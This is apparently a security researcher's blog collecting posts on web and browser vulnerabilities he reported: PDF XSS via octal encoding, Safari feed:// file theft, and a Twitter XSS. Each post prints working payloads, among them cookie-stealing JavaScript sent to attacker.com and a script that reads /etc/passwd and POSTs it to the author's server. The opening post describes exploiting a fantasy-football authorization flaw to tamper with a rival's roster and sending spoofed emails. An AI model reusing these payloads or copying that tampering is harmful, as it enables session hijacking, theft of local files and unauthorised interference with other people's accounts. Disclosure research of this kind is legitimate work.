Put me in Coach!

*** UPDATE ***
Rex Grossman is out for the season.  ESPN has fixed the issues I discussed below.  However, before you give up on your fantasy football season, apparently there is a stored XSS that I missed.  This guy will have details posted soon -->  http://lanmaster53.com/?p=182 .  The fun never stops :)
*** UPDATE ***

First, some background.  I love American football.  My team is the Chicago Bears.   I’ve been a Bears fan since the 80's when Walter Payton, Mike Singletary, and Jim McMahon dominated the field.  The last few years as a Bears fan has been difficult, but I’ve hung in there.  A few years ago the Bears had a quarterback named Rex Grossman.  To put it lightly, he wasn’t the greatest QB a team could have, in fact the Bears have traded him away.  I never really liked him.

Earlier this month, I was invited to play in a fantasy football league.  I’ve never played fantasy football, but I understood the rules and had many friends who played.  My friends (none of which work with computers for a living) needed one more player to round out a league of 10 teams so I decided to give it a shot.  Before the “season” begins, each player selects the football players they think will be the most successful during the season.  As my best player, I selected a running back named Ryan Grant who runs for the Green Bay Packers.  I was shocked to see my star player injured in the first game of the season with a season ending injury.  As I navigated the fantasy football website to find a replacement player, I came across several interesting issues.  There are some issues that allow me to cheat and win (dropping arbitrary players from another teams roster, modifying another teams starting lineup), but I want to win fair and square (I guess that Midshipman honor code has stuck with me)… but as a notorious prankster I figured I could have a little fun with the bugs I discovered.

When a team decides to add a new player to their roster the player navigates through several menus and selection screens.  The final confirmation URL for adding a player to the bench looks something like this:

leagueId=111111&incoming=1&trans=2_4480_-1_1002_3_20

The leagueId represents the “league” in which our teams are playing.  The trans parameter represents the actual transaction.  Looking at the trans parameter, I’ve broken the various pieces into the following:

2 <-- this is the type of transaction to be executed

4480 <-- This is the unique player ID for Rex Grossman

-1 <-- some sort of increment value/ counter?

1002 <-- another value that describes the transaction

3 <-- team id for my team

20 <-- not sure what this number is

Unfortunately for the other players in my league, the fantasy football application does a poor job of authorization checking.  These poor checks allow me to manipulate the trans parameter to add an arbitrary player to any teams roster.   I decided to add Rex Grossman to one of my rivals bench (not the starting lineup).



Soon after adding Rex to my rival’s bench, I spoofed an email from Rex Grossman with a plea to play.

A few days later, my rival was posting to the entire league that Rex Grossman had magically added himself to his roster and had emailed him to play.  My rival then dropped him from the roster before the next weeks play.



Unfortunately for my rival, Rex is a persistent player.  This week I traded him from waivers for another player on my rivals team.  Trading from waivers/free agency is a bit more complicated and the query string is a bit more complicated, but the overall gist is the same (I also had to fake the waiver transaction ID).

trans=3_2753_1_20_-1_1002|2_4480_-1_1002_1_20

The numbers before the “|” character belong to the player who is to be dropped from the roster (the bench) to waivers while the numbers after the pipe character represent the player to be added to the roster (to the bench, not the starting lineup).  In this example, I’ve dropped T.J. Houshmandzadeh off of my rival’s bench roster and added Rex Grossman back to the bench.

Of course, another spoofed email goes out to explain the situation.



We’ll see what next week brings.  I’ve contacted the fantasy football game provider (probably the largest provider in the US), hopefully they’ll fix it soon…

PDF XSS (CVE-2010-0190)

In April of this year, Adobe patched a couple of bugs I reported to them.  One was a code execution bug (CVE-2010-0191) and the other was a PDF based XSS (CVE-2010-0190).  I’ll cover the code execution bug in a future post (as Adobe is still fixing a variant I reported), but for now I’d like to touch on the PDF XSS.

PDF based XSS isn’t a new concept, even Adobe considers PDFs to be active content.  With that said, I’m surprised at the number of web applications that allow users to upload PDFs and then serve those PDF’s inline as opposed to an attachment (although there are some gotchas with content-disposition attachment).  Serving a user supplied PDF inline essentially allows that user to execute arbitrary client side code from the domain serving the PDF.  The safer way to handle PDFs is to serve them with the content-disposition set to attachment.  An even better method is to serve the user controlled content from a separate domain.  This can be difficult for web content portals that are deployed internally like SharePoint, Outlook Web Access (OWA) and Oracle Web (all of which were affected by this bug) where the organization would have to write custom code and employ custom configurations to protect themselves from PDF based XSS exposures.  Serving PDFs with a content disposition set to attachment also creates usability issues as an ugly download warning will appear instead of the more friendly PDF content in the browser window behavior.

Although this particular bug was patched by Adobe a few months ago, there were a few things I learned that could possibly be used in other PDF bugs.  I'd like to share some of the more interesting items.

PDFs Support Octal Encoding

PDFs support  JavaScript from within the PDF.  Unfortunately, the script executed from within the PDF will not have access to the browsers DOM.  In order to gain access to the browser’s DOM, we have to use the PDF to redirect the browser to a JavaScript URI.  Normally, redirection to JavaScript URIs are blocked by the PDF security routines, however I discovered an easy bypass using octal encoding.  I place the JavaScript payload into an OpenAction for the PDF, using an octal encoded value (\72) for the “:” character.  An example of the OpenAction is presented below:

%PDF-1.1
1 0 obj
<<
/Type /Catalog
/OpenAction <<
/S /URI
/IsMap false
/URI (javascript\72alert("FTW - "+document.domain))
>>

A super simple XSS with PDFs.  When the PDF is opened in the browser, it redirects the browser to a JavaScript URL allowing for XSS.  Mailing out a rigged PDF as an attachment to some friends using OWA would have been an interesting exercise as certain versions of OWA open PDF attachments inline.  Although I encoded the “:” character in the example above, any character in passed to the OpenAction can be encoded and Adobe Reader will handle it.  In fact, octal encoding can be used throughout the PDF in various scripts and actions.  For example, you could encode the entire protocol handler and it would still work:

/URI (\112\101\126\101\123\103\122\111\120\124\72alert(document.domain))

You can even mix and match the encoding, making it extremely difficult for any signature based IDS to detect malicious payloads.

/URI (j\101v\101s\103r\111p\124\72alert(document.domain))

If you’re up against a security blacklist when attempting to exploit a PDF bug, try passing an octal encoded value for your payload.  This was the bug Adobe fixed with CVE-2010-0190

Security models are different for local and remote PDFs

Like most browser plug-ins Adobe has implemented different security mechanisms for PDFs opened from the local file system and PDFs opened remotely.  It can be useful to determine whether the PDF was opened remotely or locally.  The following script returns an indication as to how the PDF was loaded.

//In the browser or loaded locally
if ( this.external )
{
// Viewing from a browser
}
else
{
// Viewing in the Acrobat application.
}

This can be useful if your exploit only works for locally loaded PDFs or maybe if your exploit only works for remotely loaded PDFs.

PDFs can be used to call the default browser

There can be situations where the user browses certain websites with one browser, but uses another browser as their default browser.  Adobe Acrobat Reader actually provides an API (I’m not sure if it’s intentional) to pass a URI to the default browser.

app.launchURL("http://xs-sniper.com/",true);

If a user calls app.launchURL and passes the “true” flag, the default browser is opened and handles the passed URI.  This can provide a bridge between two different browsers and can increase the reachable attack surface in some circumstances.  If the user is using the default browser to open the PDF, this can help bypass pop-up blockers.  You can test this by setting your default browser to IE and browsing the following PDF in FireFox.  PDF HERE

There was an excellent presentation at PacSec that covered a ton of PDF bugs and Didier Stevens always has interesting PDF stuff.  I hope this helps someone out there!  Happy hunting.

Stealing Files With Safari 5 (CVE-2010-1778)

Last week, Apple patched a bug in Safari I had reported to the Apple security team.  The impact of the bug was listed as a vulnerability that could “cause files from the user’s system to be sent to a remote server”.  The advisory can be found here (CVE-2010-1778).

Here’s a breakdown of how you can get “files from the user’s system to be sent to a remote server”.  First, Safari has a built-in RSS/Feed processor which will take RSS files and transforms them into a format that is easy to read.  It’s important to understand that the XML content of the file being provided to the feed URL is not the same as the output markup that will be displayed by Safari’s built-in feed reader.  Safari takes bits of content from the RSS file and mixes it with some built-in markup.  Try browsing to this RSS feed with Firefox (http://xs-sniper.com/blog/feed/rss/) and do a quick view source.  Then try browsing to the same URL with Safari and view source.  You'll see some drastic differences in the HTML markup between the two browser (the raw XML vs Safari's transform).

When transforming the original XML file to a format that can be displayed by Safari’s internal feed reader, Safari also attempts to sanitize the XML file to prevent the execution of user/attacker controlled JavaScript.  This sanitization is done because JavaScript executed under the feed:// protocol has access to the local file system and is NOT subject to the same origin policy.  This bug bypassed these sanitization routines, giving an attacker the ability to execute arbitrary JavaScript under the feed protocol.  The specific bypass is here (although the Jay-Z content isn't necessary for the exploit, it adds a bit of flava...):

<category term="Hip Hop/Rap" scheme="http://itunes.apple.com/us/genre/music-hip-hop-rap/id18?uo=2" label="Hip Hop/Rap"/>

<link title="Preview" rel="enclosure" type='video/x-m4"--><script src="http://xs-sniper.com/blog/Safari-Feed/safari-mac-feedpwn.js">
</script>' href="data:text/html,testtesttest" im:assetType="preview"><im:duration>30864</im:duration></link>

<im:artist href="http://itunes.apple.com/us/artist/jay-z/id112080?uo=2">Jay-Z</im:artist>

The XML above is transformed into the following by Safari’s feed processing routines:

<div>

<!-- <img src="feed:///__icon32__/video/x-m4"--><script src="http://xs-sniper.com/blog/Safari-Feed/safari-mac-feedpwn.js"> </script>"> -->

<img src="file://localhost/C:/Program%20Files%20(x86)/Safari/PubSub.resources/default.jpg" height="32" width="32"/>

The script include is executed in HTML markup, requesting a JavaScript payload of the attackers choice.  A quick PoC can be found here (http://xs-sniper.com/blog/Safari-Feed/feedpwn-mac.xml).  For Mac users without the latest patches for Safari, the PoC loads an attacker controlled JavaScript include and simply shows your /etc/passwd in a JavaScript dialog.  A better payload would be to crawl certain log files, extracting the username of the current user.  Once the username is extracted, the payload could grab the cookies.plist file giving the remote attacker all the cookies for all the websites the current user is logged into.  Various configuration and ini files could be useful as well.  I’m putting the final touches on a metasploit module that does just this :)

Twitter XSS Bug

I recently came across a XSS vulnerability on Twitter.  99% of XSS bugs are fairly straightforward and this bug was no exception.  Getting a simple alert box was easy, but creating a payload to actually do something valuable (steal the twitter cookie, post on behalf of the victim…etc) was interesting exercise.  Nothing earth shattering or new here, but I wanted to document this just in case someone else runs into a similar situation.

Cookie scoping - Twitter.com has multiple sub domains, one of which is apiwiki.twitter.com.  APIwiki is meant to be a resource for developers looking to utilize the twitter APIs.  Fortunately for the attacker (or unfortunately for Twitter) the session cookie that represents authentication is scoped to the parent Twitter domain (.twitter.com)



With such a widely scoped cookie, a XSS bug on any of the twitter subdomains means I can steal the twitter session cookie for www.twitter.com (which is where all the action takes place).  Subdomains like apiwiki.twitter.com typically receive less security attention than the flagship domain (for many reasons) but when the session cookie is scoped to the parent domain, bugs like XSS on these overlooked subdomains have the same impact as XSS on the flagship domain.  Twitter should consider restricting the scope of their session cookie or move nonessential stuff to an alternate domain.

The XSS bug - The actual XSS bug was found here:

http://apiwiki.twitter.com/sdiff.php?first=FrontPage&second=<XSS-HERE>

sdiff.php is looking to compare two different php files.  The querystring parameters named “first” and “second” both expect to have a php filename.  If an invalid filename was provided, an exception would be thrown and an error message would be displayed.  The error message looked something like this:



Looking at the HTML source of the error page, we see the following stacktrace in the HTML Markup.  The stacktrace contains our unsanitized, attacker controlled values.  Classic XSS straight out of Web app security 101.

The Payload – Now here’s where things got interesting.  Generating a quick alert box payload was simple. I simply supplied the following value for the “second” parameter:

&second=--%3E%3Cbody%20onload=javascript:alert(1)%3E.php

Now, when I tried something a bit more complicated, I realized that any periods within the payload (other than period in the trailing “.php”) would generate a different stack trace.  This second stack trace did not contain any attacker controlled data.  So essentially, I had to generate a javascript payload to without any periods.  There are a couple ways to do this… here’s how I did it:

1:  I pulled up the actual payload I wanted to execute.  In this case, it was a simple javascript payload to grab the twitter session cookie and send it to the attacker’s webserver:

var stolencookies=escape(document.cookie);var domain=escape(document.location);var myImage=new Image();myImage.src=”http://attacker.com/catcher.php?domain=”+domain+”&cookie=”+ stolencookies;

2:  I appended this payload to the end of the attack URL using the # (hash) symbol.  Using the hash symbol is an old trick, primarily used to hide the XSS payload from the server.  An article written by Amit Klein was the earliest reference I could find that mentioned the hash trick back in 2005 (http://www.webappsec.org/projects/articles/071105.shtml).  In this case, I use the hash to get around the restrictions on my JavaScript payload.

&second=--%3E%3Cbody%20onload=javascript:alert(1)%3E.php# var stolencookies=escape(document.cookie);var domain=escape(document.location);var myImage=new Image();myImage.src=”http://attacker.com/catcher.php?domain=”+domain+”&cookie=”+ stolencookies;

3:  Now that my payload is ready I now need to find a way to call the JavaScript after the hash character, but without any periods.  The JavaScript I want to execute is:  eval(document.location.hash.substr(1));  This would eval all the JavaScript following the hash mark.  Fortunately for us, everything in JavaScript is a property of an object and can be referenced in a couple ways (for the most part).  For example, the location property belongs to the document object.  The most common way to access the location property is to call document.location, but you can also access it by calling document[‘location’].  This can be done for any property and even functions, so our injected string without periods is:

eval(document['location']['hash']['substr'](1))

(kuza’s eval(window[‘name’]) should also work here)

The final URL looked like this:

http://apiwiki.twitter.com/sdiff.php?first=FrontPage&second=--%3E%3Cbody%20onload=javascript: eval(document['location']['hash']['substr'](1))%3E.php# var stolencookies=escape(document.cookie);var domain=escape(document.location);var myImage=new Image();myImage.src=”http://attacker.com/catcher.php?domain=”+domain+”&cookie=”+ stolencookies

I reported the bug to the Twitter security team and they addressed it in a timely manner.  It was a pleasure working with them.

Safari 3.2.2 Feed Protocol Handler Issues

A few weeks ago, Apple released a patch for their Safari browser.  The patch included a fix for a RSS feed handling vulnerability I had reported to them a while back.  The advisory can be found here.  This particular vulnerability is actually a variation of a previous RSS feed handling vulnerability I had reported to Apple earlier in the year.  The details of the original vulnerability can be found here.  Once PoC for the original bug was made public, a researcher named Alfredo Melloni contacted me about some additional weaknesses in Safari's feed handling.  Here’s what we ended up with:

Safari can consume various RSS feeds for video content and music from iTunes.  These RSS feeds contained information for each item on iTunes  including ID, title, summary, and links to download the content.  The RSS feed file looked something like this:

<?xml version="1.0" encoding="utf-8"?>
…
<entry>
<updated>2009-02-16T05:17:15-07:00</updated>
<id>http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewTVSeason?i=305318825&amp;id=287463411&amp;s=143441</id>
<title>No Exit - Battlestar Galactica (&#39;04)</title>
<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.</summary>
<im:name>No Exit</im:name>
<link rel="alternate" type="text/html" href="http://www.google.com" />
<im:contentType term="TV Show" label="TV Show"><im:contentType term="TV Episode" label="TV Episode"/></im:contentType>
<category term="Sci Fi &amp; Fantasy" scheme="scheme"/>
…
</entry>
</feed>

Safari has some routines to sanitize and encode data in order to prevent the execution of user controlled JavaScript under the feed:// protocol handler.  As you may remember from my previous post, JavaScript executed under the feed protocol handler is privileged and is granted access to the local file system.   Alfredo discovered a way to bypass the built in filters for the feed protocol handler, allowing us to inject user controlled JavaScript.  The specific issue here involves the attacker controlled content provided to the "Summary" tags within the RSS feed file.  It seems that the content provided to the summary tag was missed by the encoding routines built into Safari.  We simply place Script tags within the summary tags and serve the file from our own server.

…

<title>No Exit - Battlestar Galactica (&#39;04)</title>
<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.<script>alert(1)</script></summary>
<im:name>No Exit</im:name>
…

Which is converted to HTML by Safari and rendered under feed://  as:

…
<div class="apple-rss-author" title="iTunes Store">iTunes Store</div>

<div class="apple-rss-summary" >On the Cylon baseship, Cavil confronts the last member of the Final Five.<script>alert(1)</script></div>

<div class="apple-rss-date" title="Feb 16, 4:17 AM">Feb 16, 4:17 AM</div>
…

Since alert boxes are lame, below is a payload to steal the /etc/passwd file from a Mac running vulnerable versions of Safari (<3.2.2):

<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.
<script>
var contents;
var req;
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open('GET', 'file:///etc/passwd', true);
req.send('');

function processReqChange() {
if (req.readyState == 4) {
contents = req.responseText;
sendit2XSSniper(contents);
}
}
function sendit2XSSniper(stuff){
var req2;
req2 = new XMLHttpRequest();
req2.open('POST', 'http://xs-sniper.com/sniperscope/catcher.php', true);
req2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
req2.send('filename=etcpasswd&filecontents='+escape(stuff));
}
</script>
</summary>

This flaw affected Safari 3.2.2 and certain versions of Safari 4 Beta.  Both Windows and Mac systems were affected.  Proof of concept can be found here (PoC, displays /etc/passwd or boot.ini in an alert box).  On Windows systems, the encoding and sanitization routines for feed:// are held in pubsub.dll :)  Happy hunting!

BK

Catching Up!

Whew!  It’s been a busy couple of months for me.  I’m always curious as to how I get so much on my plate.  A quick recap of some of the stuff I’ve been working on / or have coming in the near future:

 

1)      HITB Dubai is almost here!  I’ve been selected to give two talks at HITB in Dubai.  Although I’ve spent a significant amount of time in various parts of the Middle East, but I’ve never actually been to Dubai.  Dhillon is always an EXCELLENT host and I’m looking forward to seeing the sights .  As for the talks I’ll be giving in Dubai, the first (Biting the Hand that Feeds You – Reloaded) is an extension of a talk Nate McFeters and I gave at Defcon 15.  It involves a lot of interesting application design scenarios that introduce security weaknesses in modern day web applications.  It’s a very interesting collection of Content Ownership issues, some funky ways to abuse web application sessions, and a demo of some attacks against modern day web applications including Twitter and Facebook (respective security teams have already notified).  For the second talk (Cross Domain Leakiness), I’ll be co-presenting with Chris Evans from Google.  Chris is a super sharp guy and we’ll be talking about some interesting browser bugs we’ve discovered, as well as some techniques to bypass SSL protection mechanisms.  I’m also looking forward to seeing Nitesh Dhanjani’s talk (Psychotronica).  I’ve seen a sneak preview of the talk and it’s a very powerful illustration of how we can piece together people’s lives like jigsaw puzzles, learning more about them then they probably know about themselves!

 

2)      Jeff Carr put out the second paper in the Grey Goose Series (first paper here, second paper here).  Contact Jeff directly if you are interested in getting a GOVT only version of the papers.  Jeff has assembled a crack team of intelligence specialists (many of which wish to remain anonymous), pulling together an impressive cyber intelligence capability that probably rivals some state sponsored intelligence agencies.  The team is small enough to allow for lighting fast action without bureaucracy, but just large enough to bring an impressive intelligence eye to modern day problems.  Jeff focuses on analysis related to politically motivated events around the world.  I’m proud to be a part of the Grey Goose team, it is exciting work and perfectly in line with my background.  Jeff and I will be traveling to Estonia in June to speak at the Conference on Cyber Warfare hosted by the NATO Cooperative Cyber Defence Centre of Excellence.  We’ll be presenting a talk entitled “Sun Tzu was a Hacker” where we’ll break down the various tactics and operations associated with a real work attack against State servers.  We’ll tie the various pieces back to traditional tactics/warfare via concepts of Maneuver Warfare and Marine Corps Doctrinal Publication – 1 (Warfighting).

 

3)      My studies as an MBA student continue.  Once I finish this semester, I’ll have two classes left.  I'm currently taking a Finance class which is planting all sorts of great ideas on how to valuate risk associated with information systems.  I think it’s great that Security Researchers are seeing the value of bugs in both monetary instruments and non monetary instruments (press, notoriety…etc).  I see things like the No More Free Bugs (NMFB) campaign as financial declarations that a Security Researchers’ time/efforts/intelligence/creativity/determination is worth > $0.00.  It will be interesting to see how the next generation of security researchers/hackers will view the disclosure/NMFB paradigm and whether places like iDefense and TippingPoint will rise to “power” (if they haven’t already) as vulnerability brokers.  Maybe one day, we’ll track vulnerability worth via stock ticker, trying to game when to sell.  I’m also interested to see whether web application bugs will ever have financial value that can be easily monetized.  How much is a Gmail XSS or CSRF worth?  Are there ways to monetize?

 

4)      I’m co-authoring a book… more on this later

 

5)      I’ve started a really cool project at work that will consume lots of time...

 

6)      Oh yeah…. I have a ~3 month old baby girl that demands all my free time J

 

Where does the time go?!?!

Stealing More Files with Safari

Apple recently patched a vulnerability in Safari’s RSS feed handling mechanisms I reported to them.  The advisory for Safari on OS X can be found here and the Safari for Windows advisory can be found here.  As always, Apple was excellent in their handling of the issue.  Two other researchers reported this same vulnerability to Apple (Clint Ruoho of Laconic Security and Brian Mastenbrook). Clint or Brian, let me know if either of you are planning on attending CanSec this year, I'll buy you guys a couple beers.

Both Safari for OS X and Windows platforms were affected by this vulnerability (my precious iPhone was not affected). The vulnerability ultimately resulted in Remote Command Execution for both systems, making it a serious/critical issue for Safari users. There may be a technique to reach this vulnerability if you’re using a different browser on OS X, so even if Safari isn’t your default browser on OS X, I would recommend you grab the patch anyway :)

When I reported this issue to Apple, I reported it as a “File Stealing” vulnerability, which gave a remote attacker the ability to steal arbitrary files off the user’s file system. So, if you were using Safari and browsed to the wrong page (or fell victim to an XSS attack), an attacker had the ability to steal all of files from your local file system… ouch! Since the issue is patched, let’s look at how an attacker could steal some files using Safari… (RCE will be left as an exercise for the reader)

First, let’s take a look at Safari’s RSS feed handling mechanisms. Safari for both OS X and Windows supports the handling of RSS files through the Feed:// protocol handler. For example, if you wanted to view the feed for this blog in Safari, you could simply enter the following into the address bar:

feed://http://xs-sniper.com/blog/feed/



RSS files are basically XML files that contain content that can be rendered by RSS readers.  In this case, the attacker controls the entire XML file. The XML file I started with followed the standard used by most blogs. The most interesting XML tags were the tags that held blog post content:

<content:encoded><![CDATA[ .... ></content:encoded>

It seems that Apple understood the dangers of taking in and rendering un-trusted RSS feeds and actually implemented a filtering routine in an attempt to filter dangerous content. In my attempts to defeat the filtering routine, I tried several different payload combinations, most of which were focused on the “content:encoded” tag; some of my payloads were HTML encoded before being displayed in the browser, other combinations resulted in tags and characters being stripped out completely. Eventually, I discovered a combination that would allow for the execution of script in the context of feed://

<content:encoded><![CDATA[
<body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” onload=”javascript:alert('xss’);”“<onload=””
]]>
</content:encoded>

Which resulted in the following being rendered by Safari:

….
<div class="apple-rss-article-body">
<body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” onload=”javascript:alert(‘xss’);”>
<onload></onload>
</body>
<!-- end articlebody --></div
….

As you can see, Safari's filtering routines have stripped out some characters and added some characters as well.  Despite the filtering, the HTML is valid and we now have script execution in the context of feed://.  Safari grants script executed within the context of feed:// access to the local file system, so from here I changed the “alert(‘xss’);” to an XMLHTTPRequest Object.

<body src="http://xs-sniper.com/images/React-Team-Leader.JPG" onload="javascript:alert('loading /etc/passwd into javascript');var req;req = new XMLHttpRequest();req.onreadystatechange = processReqChange;req.open('GET', 'file:////etc/passwd', true);req.send('');function processReqChange() {if (req.readyState == 4) {alert(req.responseText); }}" <onload=""

Proof of concept can be found here.

http://xs-sniper.com/sniperscope/Safari/feed-protocol/feed-sploit.php

The php script scans the UserAgent and determines whether you are using Safari on Windows or Safari on Mac OS X. If you happen to be on Mac OS X, the PoC will displays your /etc/passwd file in a JavaScript alert box. If you are on a Windows machine the PoC will display c:\windows\win.ini in a JavaScript alert box. Once the file contents are placed into a JavaScript object, getting the file contents back to the attacker is easily accomplished.  For large files, an attacker can even use a dynamically generated FORM and POST the contents back to the attacker server. An attacker could also use this vulnerability to establish a dynamic remote control channel by injecting a "<script src=http://XS-Sniper's-IP-Address/dynamic.js>" (XS-Sniper is the name of my XSS proxy), giving the attacker more control over the JavaScript executed by the victim.

I'm very interested in vulnerabilities like this.  We (the security industry) have developed an extensive toolset to detect memory access violations, but we're lacking in tools to detect boundary violations of this sort.  Memory corruption (IMHO) remains the holy grail of exploitation, but as memory corruption vulnerabilities become increasing difficult to exploit, it may be beneficial to develop tools and techniques to detect boundary violations such as this one.